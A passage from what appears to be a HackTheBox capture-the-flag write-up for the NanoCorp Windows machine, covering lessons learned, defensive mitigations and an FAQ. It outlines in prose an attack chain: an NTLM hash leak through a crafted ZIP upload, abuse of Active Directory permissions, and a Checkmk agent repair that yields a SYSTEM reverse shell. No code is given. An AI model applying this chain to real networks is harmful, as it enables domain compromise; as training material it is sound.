After seeding the malicious files, you trigger an MSI repair of the Checkmk installation. This forces the agent service to restart and execute one of your planted scripts as SYSTEM, giving you a reverse shell with complete control over the DC. At this point, you have successfully achieved privilege escalation and can capture the root flag.

Lessons Learned from the NanoCorp HackTheBox Experience

Completing the NanoCorp Windows machine provides more than just flags; it offers valuable lessons in modern penetration testing. The experience highlights the importance of thorough enumeration and demonstrates how a single misconfiguration on a web server can unravel the security of an entire domain. It’s a powerful reminder that security is a chain, and one weak link is all an attacker needs.

This challenge reinforces a growth mindset. You learn to be persistent, to think creatively, and to not be discouraged by rabbit holes. The skills gained, from initial exploitation to advanced privilege escalation, are directly applicable to future Capture The Flag (CTF) events and real-world security assessments.

Most Challenging Parts and How to Overcome Them

What was the most challenging part of the NanoCorp HackTheBox machine? For many, the final privilege escalation via the Checkmk agent is the trickiest section. The exploit requires precise timing, an understanding of process IDs, and scripting in PowerShell to seed hundreds of potential payload files. It’s not a simple “run and done” exploit; it demands patience and a bit of trial and error.

Another challenging aspect is avoiding the rabbit holes. The machine presents several potential attack vectors, such as an RDP service and a Minecraft server, that seem promising but ultimately lead nowhere, leading to a bunch of malware in some cases. Overcoming this requires disciplined enumeration and the ability to recognize when a path is not fruitful. Focusing on the information gathered from initial scans helps you stay on the correct path.

To overcome these hurdles, persistence is key. When the privilege escalation doesn’t work on the first try, review the exploit logic, adjust your script parameters, and try again. For rabbit holes, trust your enumeration data. If a service doesn’t yield useful information after a reasonable amount of investigation, it’s often best to move on and refocus on more promising leads.

Key Takeaways for Future HTB Boxes

Can you summarize the main lessons learned from NanoCorp HTB? Yes, NanoCorp provides several key takeaways that you can apply to almost any other HackTheBox challenge, especially those involving Active Directory. This box teaches a methodology that goes beyond just finding a single vulnerability.

These lessons emphasize a structured and thorough approach, which is invaluable for tackling complex machines in the future.

• Trust Your Enumeration: The solution to NanoCorp is hidden in plain sight within the enumeration data. The web upload vulnerability, the web_svc account, and the vulnerable Checkmk version are all discoverable through careful initial scanning. Never underestimate the power of good reconnaissance.
• Chain Your Exploits: Few machines are solved with a single exploit. Learn to think in stages: gain a foothold, enumerate internally, find a privilege escalation path, and execute. NanoCorp is a perfect example of chaining a web exploit with Active Directory abuse.
• Always Look for Misconfigurations: Not all vulnerabilities are CVEs. Misconfigured permissions, like the DACL issue in NanoCorp, are extremely common and often provide the easiest path to privilege escalation. Always check for them once you have credentials.

Conclusion and Technical Mitigations

NanoCorp was a complex, multi-stage engagement. The compromise was not the result of a single, unpatched vulnerability but a chain of logical and configuration-based flaws.

Key mitigations for this target would include:

1. Separation of Duties: A Domain Controller must never run non-essential third-party services like Apache, PHP, or monitoring agents. These services should be on member servers.
2. Service Account Hygiene:
   • Service account passwords must be managed (e.g., gMSA) or be long, random, and rotated. The crackable web_svc password was the entry point.
   • Service accounts must be denied interactive logon rights (both RDP and WinRM) via GPO. The explorer.exe process was the clue.
3. DACL Auditing: The AddSelf and ForceChangePassword permissions are high-risk. Regular auditing with tools like BloodHound (used defensively) is required to find and remediate toxic permission chains.
4. Logical Vulnerability Mitigation: The Check_MK exploit was preventable by:
   • Patching the agent to a non-vulnerable version.
   • Using Application Control (AppLocker/WDAC) to prevent execution of scripts from world-writable directories like C:\Windows\Temp.
5. NTLM Relay Mitigation:
   • SMB Signing was correctly enabled.
   • LDAP Signing and LDAP Channel Binding should be enforced to protect LDAP.
   • Enhanced Protection for Authentication (EPA) should be enabled on WinRM and other web services to bind the NTLM authentication to the TLS channel, mitigating relays.
   • Disabling NTLM in favor of a Kerberos-only policy is the most effective, albeit complex, mitigation.

Frequently Asked Questions

What was the initial foothold vector in NanoCorp HackTheBox?

The initial foothold was gained by exploiting a file upload vulnerability on the web server. A specially crafted ZIP file was uploaded to the careers page, which triggered an NTLMv2 hash leak. This allowed for the capture and cracking of credentials for the web_svc service account using a module.

How can beginners approach privilege escalation on NanoCorp HTB?

Beginners should first focus on enumerating Active Directory permissions after getting the initial service account credentials. Using a tool like BloodHound can reveal a path to abuse misconfigured permissions, allowing you to reset the password of a more privileged admin account and escalate your access step-by-step.

Are there any recommended writeups or resources for NanoCorp?

Yes, you can find helpful resources for NanoCorp on platforms like GitHub for proof-of-concept (PoC) exploit scripts and Exploit-DB for detailed vulnerability information. Searching for the specific CVE numbers mentioned in this writeup will lead you to the exact tools and documentation needed to complete the challenge.

What are some tips to avoid common mistakes on NanoCorp?

To avoid common mistakes, perform thorough enumeration from the start and don’t get distracted by rabbit holes like the Minecraft server. Trust the information you gather from scans and log files. Double-check any credentials or passwords you find, and methodically test permissions to find the correct path forward.